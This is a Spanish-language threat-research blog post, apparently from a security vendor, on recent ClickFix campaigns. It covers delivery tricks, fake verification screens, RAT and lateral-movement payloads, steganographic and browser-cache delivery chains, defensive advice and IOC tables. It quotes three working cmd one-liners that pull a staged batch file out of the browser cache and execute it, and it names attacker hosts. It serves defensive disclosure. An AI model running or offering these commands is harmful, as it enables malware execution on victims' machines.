Agradecimientos: Un agradecimiento especial a Nick Roddy y Lindsey Welch por sus contribuciones a esta investigación y a este artículo.
Contexto
A los actores de amenazas les encanta ClickFix, una táctica conocida sobre todo por engañar a los usuarios para que ejecuten comandos que descargan scripts maliciosos, cargadores o infostealers. Aunque este truco de ingeniería social lleva tiempo circulando, los actores de amenazas siguen encontrando nuevas formas de usarlo. Solo desde principios de agosto, hemos publicado blogs sobre lo siguiente:
Una campaña de ClickFix que imita a Amazon y llama a la utilidad finger
GPT personalizados que canalizan objetivos hacia señuelos de ClickFix
Un mensaje al estilo ClickFix para "descifrar" un Google Doc
Una campaña enfocada en macOS que usa un señuelo de ClickFix para determinar qué payload entregar
Esto es solo una muestra de las técnicas de ClickFix que hemos visto en los últimos meses. Por ejemplo, recientemente lo hemos visto usado como paso de acceso inicial que lleva a movimiento lateral. También hemos visto cadenas de entrega basadas en la caché del navegador, la entrega de troyanos de acceso remoto (RAT) que utilizan node.js, e incluso la reconstrucción de payloads ejecutables a partir de datos ocultos en archivos de imagen. Además, seguimos rastreando tendencias interesantes en la forma en que ClickFix se entrega inicialmente.
Esta no es la primera vez que analizamos de manera más amplia las técnicas de ClickFix, y probablemente no será la última. Considera esto una instantánea de lo que estamos viendo actualmente "más allá del portapapeles", por así decirlo.
Entrega mediante malvertising
Varias campañas recientes de ClickFix aprovechan el malvertising, intentando atraer a sus objetivos hacia páginas de destino maliciosas. Esto puede no ser nuevo, pero de todos modos es importante mantenerse alerta. Las páginas suelen estar alojadas en infraestructura controlada por el atacante, pero también hemos visto a actores de amenazas aprovechar servicios en la nube para evadir la detección.
Suplantación de dominios por errores tipográficos
Un incidente reciente comenzó cuando un usuario realizó una búsqueda en Bing de "Westlaw", un popular servicio de investigación jurídica para abogados, y hizo clic en un anuncio pagado en los resultados. Aunque la página ya no está activa, los registros muestran que el enlace redirigía a un dominio con suplantación por error tipográfico, https://vvestalw.ghost[.]io, y a una página titulada "Westlaw - Legal Research Platforms | Thomson Reuters". Tras un par de redirecciones (incluidas en la sección de IOC más abajo), el usuario llegaba a un sitio falso en https[:]//westlaw-signon[.]com, diseñado para parecerse al sitio real del dominio de Thomson Reuters, y se presentaba un flujo de trabajo típico de ClickFix.
SEO poisoning
Otra campaña que hemos observado intenta engañar a los usuarios que buscan LinkedIn, o alternativamente bienes raíces, para que visiten el sitio del actor de amenazas en su lugar.
Figura 1: Anuncio de búsqueda patrocinado que lleva a un sitio falsificado de LinkedIn.
Al visitar el sitio, al usuario se le presenta algo que parece un sistema de verificación de Cloudflare "Verifica que eres humano". Marcar la casilla inicia el proceso de ClickFix.
Figura 2: Sistema de verificación falso "Verifica que eres humano".
Sitios web comprometidos
En otras campañas, la presentación inicial es incluso más pulida, como es el caso de este ejemplo de un sitio web de un consultorio dental que estuvo temporalmente comprometido con ClickFix, descubierto por el investigador de seguridad de Huntress John Hammond.
Figura 3: Sitio dental comprometido con controles de Manage Consent que lanza una verificación falsa.
La página incluía la típica ventana emergente de Manage Consent, que en realidad se usaba como parte del señuelo. Si el usuario hacía clic en Accept, o hacía clic en cualquier parte, se le presentaba un sistema de verificación falso de Cloudflare "Verifica que eres humano".
Figura 4: Otro ejemplo de un sistema de verificación falso "Verifica que eres humano".
Verificaciones falsas basadas en PowerShell
Si un usuario marca la casilla en cualquiera de estos sistemas falsos de "verifica que eres humano", se presentan instrucciones de ClickFix, similares a las siguientes.
Figura 5: Instrucciones de ClickFix.
En este punto se coloca un comando de PowerShell en el portapapeles, que contiene instrucciones maliciosas. Sin embargo, recientemente hemos notado que los atacantes incluyen algún tipo de salida que el usuario verá, lo que hace que parezca que se está llevando a cabo un proceso de verificación. Estos mensajes de verificación falsos probablemente tranquilizan al objetivo de que el comando que acaba de pegar está haciendo lo que la página prometió, desviando aún más la atención de la actividad maliciosa al presentar lo que parece ser parte de una verificación de seguridad legítima.
Por ejemplo, algunas campañas de ClickFix abren una terminal y muestran mensajes, con texto de colores, que hacen parecer que un proceso de verificación está en curso. Sin embargo, lo que realmente sucede es que el payload se está descargando y ejecutando.
Figura 6: Ejemplos de mensajes de verificación falsos que se muestran en la terminal.
Algunos scripts de PowerShell incluso incluyen mensajes alternativos. Por ejemplo, si una comprobación de la presencia del payload al final del comando falla, se muestra un error. Esto puede estar diseñado para convencer al usuario de intentar descargarlo de nuevo, si por alguna razón el comando no funcionó.
Figura 7: Comando de PowerShell que muestra el mensaje que se presenta si la comprobación de la descarga falla.
Un mensaje en una terminal es una cosa, pero algunos comandos de ClickFix van mucho más allá. En el caso de el sitio dental comprometido mencionado arriba, el PowerShell copiado incluía un script elaborado para crear una ventana que mostraba una serie detallada de "verificaciones", junto con barras de progreso animadas que se ponían verdes al completarse.
Figura 8: Falso desafío de seguridad de Cloudflare construido enteramente a partir de un comando de PowerShell pegado por ClickFix.
Payloads
ClickFix se sigue asociando con mayor frecuencia a un resultado sencillo: un usuario ejecuta un comando que descarga un script, un cargador o un infostealer. Pero incidentes recientes muestran que la técnica puede llevar a payloads mucho más variados.
Esa variedad se manifiesta en dos áreas: lo que ClickFix entrega y lo que los atacantes hacen con el punto de apoyo persistente que crea. La técnica puede entregar distintos tipos de malware, ayudar a los atacantes a establecer persistencia y ampliar el acceso dentro de un entorno, o servir como la primera etapa de una cadena de entrega más compleja.
¿No es una RMM? Son RAT
Si bien los ataques de ClickFix suelen entregar infostealers y cargadores, Huntress ha observado en ocasiones troyanos de acceso remoto (RAT) entregados como payload final. Por ejemplo, una de las campañas mencionadas arriba abusó de la función de GPT personalizado de ChatGPT para engañar a los usuarios y hacer que descargaran un instalador MSI de Windows que suelta un RAT personalizado.
En otra campaña de ClickFix que dependía de un instalador MSI, el payload final se hacía pasar por una herramienta de monitoreo y gestión remota (RMM) llamada DuskDesk, una posible referencia a RustDesk, una RMM de código abierto. Sin embargo, DuskDesk es en realidad un RAT basado en Node.js.
En dos incidentes investigados por Huntress, un paquete MSI de apirequestaccess[.]com instaló un wrapper de Node.js en el directorio AppData del usuario para ejecutar JavaScript malicioso (LimeMint.js).
Además de generar PowerShell para la identificación del sistema, el malware estableció persistencia creando una clave Run de usuario llamada "DuskDesk" que ejecuta node.exe con launch.js en cada inicio de sesión del usuario.
Aunque DuskDesk podría confundirse con una RMM legítima en el entorno del usuario, las conexiones activas revelaron que node.exe estableció una conexión TCP a la dirección IP remota 167.148.201[.]104 en el puerto 3861, lo que potencialmente permitía al atacante establecer capacidad de comando y control (C2).
Si bien se ha reportado en otros lugares un modus operandi similar, los incidentes que investigamos presentan técnicas más evolucionadas, incluido un archivo DAT más configurable y la adición de comandos de PowerShell envueltos.
Movimiento lateral hacia el controlador de dominio
Hemos visto casos de movimiento lateral donde los actores de amenazas usaron ClickFix para entregar un cargador que descargaba un RAT, lo que les permitía saltar a otro sistema. Estos actores de amenazas establecieron un punto de apoyo persistente y, finalmente, usaron herramientas integradas para moverse lateralmente.
En un incidente de febrero pasado, un aviso de ClickFix llevó a la instalación del cargador Matanbuchus 3.0 y luego de AstarionRAT. El operador usó este RAT para realizar reconocimiento, robar credenciales y, finalmente, usar PsExec para saltar a un Windows Server y dos controladores de dominio.
En un incidente distinto en mayo, un ataque de ClickFix contra un endpoint no monitoreado llevó a la instalación del cargador Potemkin, RMMProject y EtherRAT. Se usó SMBExec para implementar el malware a través de recursos compartidos administrativos, comprometiendo 11 hosts antes de ser detenido.
A diferencia de estos dos ejemplos, un incidente de principios de septiembre no dependió de un RAT dedicado como su punto de apoyo principal. En cambio, el actor de amenazas aprovechó una cadena ligera de ejecución y persistencia que usaba protocolos nativos de administración de Windows para moverse desde un endpoint inicial hasta el controlador de dominio y luego crear un túnel SSH inverso.
El comando de ClickFix en este incidente descargó un archivo ZIP llamado cf_verify.zip en la carpeta Temp del usuario, creó una carpeta llamada C:\ProgramData\f8f33b09aed97a47 y extrajo el contenido del ZIP en ella, lo que generó los siguientes archivos:
1.batCertEnrollCtrl.exeCertEnroll.dll(una DLL maliciosa usada para DLL sideloading)
Luego ejecutó 1.bat, que creó una clave Run de usuario y una tarea programada (ambas llamadas CertEnrollCtrl_Y0db6oZq9) para ejecutar CertEnrollCtrl.exe. Este ejecutable usa el shell de comandos de Windows para lanzar un script de PowerShell que realiza reconocimiento de Active Directory usando varias utilidades nativas de Windows:
nltest.exepara enumerar las relaciones de confianza entre dominios e identificar controladores de dominionet.exepara consultar la membresía del grupo Domain Admins y los detalles de las cuentas de usuariowhoami.exepara identificar el contexto del usuario actualfindstr.exepara filtrar la salida de comandos en busca de detalles del sistema operativo y de la configuración de red
Se agregaron varios archivos más a la carpeta Temp, incluido un archivo TXT (%LocalAppData%\Temp\6341434163416441.txt) que contenía un comando de PowerShell codificado en Base64 que hace lo siguiente:
Define una carpeta de trabajo
C:\ProgramData\ShServicey coloca en ella una clave privada SSHConfigura un túnel SSH inverso y se conecta a infraestructura controlada por el atacante ubicada en
23.227.199[.]41Crea una tarea programada llamada
SysyService
A continuación, el atacante usó WinRM para moverse lateralmente hacia el controlador de dominio principal. Una vez obtenido el acceso, el atacante creó una nueva cuenta de usuario e intentó añadirla al grupo de administradores locales. Luego crearon un segundo túnel SSH inverso usando el mismo script de PowerShell descrito antes.
Cadenas de entrega esteganográficas
En otro incidente interesante, observamos una cadena de entrega esteganográfica de ClickFix en la que un comando ejecutado por el usuario inició un ataque de varias etapas que reconstruía payloads ejecutables a partir de datos ocultos dentro de archivos PNG.
Esta no es la primera vez que vemos a ClickFix aprovechar técnicas esteganográficas, aunque esta vez hay algunas diferencias. Los actores de amenazas en el incidente anterior ocultaron instrucciones de shellcode dentro de imágenes; esta vez se trata de ejecutables completos.
El PowerShell copiado mediante ClickFix activó una verificación falsa de Cloudflare dentro de una ventana de terminal, similar a lo descrito anteriormente. Mientras mostraba la verificación falsa, el script de PowerShell colocó un archivo comprimido llamado verify_pkg.zip en la carpeta C:\Users\user\AppData\Local\Temp\ de la víctima. Luego, el comando descomprimió este archivo y colocó un binario legítimo y firmado de Microsoft (LockScreenContentServer.exe) en C:\ProgramData\7168f7f870a45fbb\. Acompañando a este ejecutable confiable había una DLL maliciosa y un archivo por lotes llamado 1.bat.
El archivo 1.bat se ejecutó luego mediante cmd.exe y funcionó como un stager de PowerShell de varias etapas. Para evadir el monitoreo de red tradicional y los controles de seguridad basados en archivos, este stager se valió de la esteganografía. Obtuvo archivos de imagen PNG de apariencia inofensiva que contenían en secreto binarios ejecutables incrustados en sus datos de píxeles. El script de PowerShell extrajo estos payloads ocultos, reconstruyó los binarios maliciosos en el disco y los ejecutó.
Con el payload reconstruido con éxito, el malware estableció una ejecución persistente en segundo plano mediante la creación de una tarea programada, además de una clave Run en el registro. Estos pasos le dieron al actor de amenazas acceso remoto para continuar con su ataque.
Atrápame si puedes (en la caché)
Una investigación reciente realizada por John Hammond descubrió un ataque que variaba sus acciones según el navegador en uso, con el fin de llevar a cabo una cadena de entrega sembrada en la caché del navegador diseñada para entregar todo un arsenal de malware.
En realidad, se trata del sitio dental comprometido mencionado anteriormente, pero para resumir rápidamente: si un usuario hacía clic en el cuadro de diálogo Manage Consent, aparecía un torniquete de "Verify you are human". Esto llevaba a un ataque de ClickFix que creaba una ventana con barras de progreso que mostraban falsas verificaciones de red.
Figura 9: Sitio dental comprometido mencionado anteriormente.
Al principio, se realiza una verificación para determinar qué navegador está usando el objetivo. Esta verificación determina, en última instancia, el comando de ClickFix que se le entrega al usuario. Por ejemplo:
Firefox:
cmd /c for /r "%LOCALAPPDATA%\Mozilla\Firefox\Profiles" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.batChrome:
cmd /c for /r "%LOCALAPPDATA%\Google\Chrome\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.batBrave:
cmd /c for /r "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat
La única diferencia entre estos comandos es la ubicación de la carpeta a la que apuntan para la caché de cada navegador. Sin importar el navegador, cada comando recorre los archivos en la caché, buscando uno que tenga un tamaño de 17.635 bytes.
Resulta que, cuando se cargaba inicialmente el falso sitio dental, se incluía un archivo de 17.635 bytes que se guardaba en la caché. Cuando el comando de ClickFix encuentra este archivo, lo copia a la carpeta Temp como un archivo por lotes y lo ejecuta. Esto da como resultado varios payloads de segunda etapa, y uno de los archivos de PowerShell, a su vez, invoca varios payloads maliciosos más.
Cómo combatir ClickFix
Como dijimos al principio, a los atacantes les encanta ClickFix. Su prevalencia como técnica de ataque deja pocas dudas al respecto, y el hecho de que los actores de amenazas sigan ideando formas nuevas y novedosas de utilizarla no hace más que confirmarlo.
No parece que estos nuevos usos de ClickFix formen parte del intento de un solo grupo por perfeccionar la técnica. Más bien, actores de amenazas o grupos sin conexión entre sí han observado lo eficaz que ha sido ClickFix para engañar a los objetivos y están experimentando con nuevas formas de aprovecharla.
Por suerte, hay varias cosas que se pueden hacer para combatir los ataques de ClickFix.
Detén el pegado
En esencia, ClickFix es un mecanismo de ataque de ingeniería social, diseñado para aprovecharse de usuarios menos técnicos o menos informados. Combatirlo requiere capacitar a los usuarios para que reconozcan los señuelos de ClickFix.
Capacita a los usuarios para que nunca peguen comandos en un cuadro de diálogo Ejecutar, una terminal, PowerShell o cualquier otro lugar a solicitud de una página web. Enfatiza que los CAPTCHA legítimos o los flujos de "verificación" nunca requieren que ejecutes comandos de shell. Por último, anima a los usuarios a reportar páginas sospechosas a sus departamentos de seguridad o TI.
Controla lo que puede ejecutarse
Al mismo tiempo, es importante reforzar la ejecución de scripts y aplicaciones en el endpoint. Utiliza herramientas de control de aplicaciones o inclusión en la lista de aceptados para ejecutables no confiables. Bloquea la ejecución desde ubicaciones con permisos de escritura para el usuario, como la carpeta Temp, e implementa controles para binarios sin firmar y para la extracción de archivos sospechosos. Por último, limita el acceso a privilegios de administrador local, así como la posibilidad de abrir el cuadro de diálogo Ejecutar o un símbolo del sistema.
Detecta la cadena
Incluso con la capacitación de los usuarios y los controles del endpoint implementados, las organizaciones deben monitorear los comportamientos que siguen a una ejecución exitosa de ClickFix:
Un navegador o un proceso iniciado por el usuario que genera
cmd.exe, PowerShell o Windows TerminalComandos de PowerShell codificados
Omisiones de la política de ejecución
Archivos comprimidos o ejecutables que aparecen en ubicaciones con permisos de escritura para el usuario
La detección también debe ir más allá de la ejecución inicial. Nuevas tareas programadas, nuevas claves Run o conexiones SSH inesperadas pueden indicar que algo anda mal. Dado que los payloads y los nombres de archivo pueden cambiar, los defensores deben enfocarse en la secuencia de actividad en lugar de depender únicamente de hashes, dominios u otros indicadores estáticos.
Indicadores de compromiso (IOC)
Ataque de movimiento lateral
Elemento | Descripción |
|---|---|
| Redireccionador con typosquatting presentado después de la búsqueda en Bing. |
| Redireccionador adicional en la cadena de entrega. |
| Página de destino de ClickFix que mostraba el falso flujo de verificación. |
| Archivo ZIP malicioso preparado y escrito en el directorio temporal del usuario. |
| Directorio de preparación que contiene los archivos del payload extraído. |
| Script por lotes preparado que estableció la clave Run y la persistencia mediante una tarea programada. |
| Ejecutable utilizado de forma indebida para la carga lateral de DLL de |
| DLL maliciosa extraída del archivo preparado. |
| Archivo temporal que contiene un comando de PowerShell codificado en Base64. |
| Script de PowerShell utilizado para establecer el túnel SSH inverso. |
| Servidor remoto controlado por el atacante, utilizado para el túnel SSH inverso. |
| El nombre de la tarea programada y el valor de la clave Run creados por |
| Tarea programada creada para mantener el túnel inverso. |
Ataque esteganográfico
Elemento | Descripción |
|---|---|
SHA256: | Binario legítimo y firmado de Microsoft colocado en |
SHA256: | DLL maliciosa emparejada con |
SHA256: | Archivo por lotes malicioso lanzado mediante |
| Nombre de la tarea programada y valor de la clave Run del usuario utilizados para la persistencia. |
| Ruta del registro utilizada para la persistencia mediante la clave Run del usuario. |
Ataque de RAT DuskDesk
Elemento | Descripción |
|---|---|
| Dominio controlado por el atacante utilizado para entregar el paquete MSI. Su prefijo |
| URL de descarga del MSI malicioso. El token es específico del caso y debe conservarse en el registro del caso subyacente, pero el dominio y la ruta normalizados son más útiles como indicadores de cara a la publicación. |
| Dirección IP asociada con |
SHA256: | Ejecutable malicioso del entorno de ejecución de Node.js instalado con el RAT. |
| Implante malicioso de JavaScript lanzado por el entorno de ejecución de Node.js. |
| Lanzador de Node.js utilizado para iniciar la cadena de ejecución de DuskDesk. |
| Archivo de datos configurable que contiene la configuración operativa del RAT. |
| Valor de la clave Run del usuario utilizado para lanzar |
| Destino TCP remoto observado para |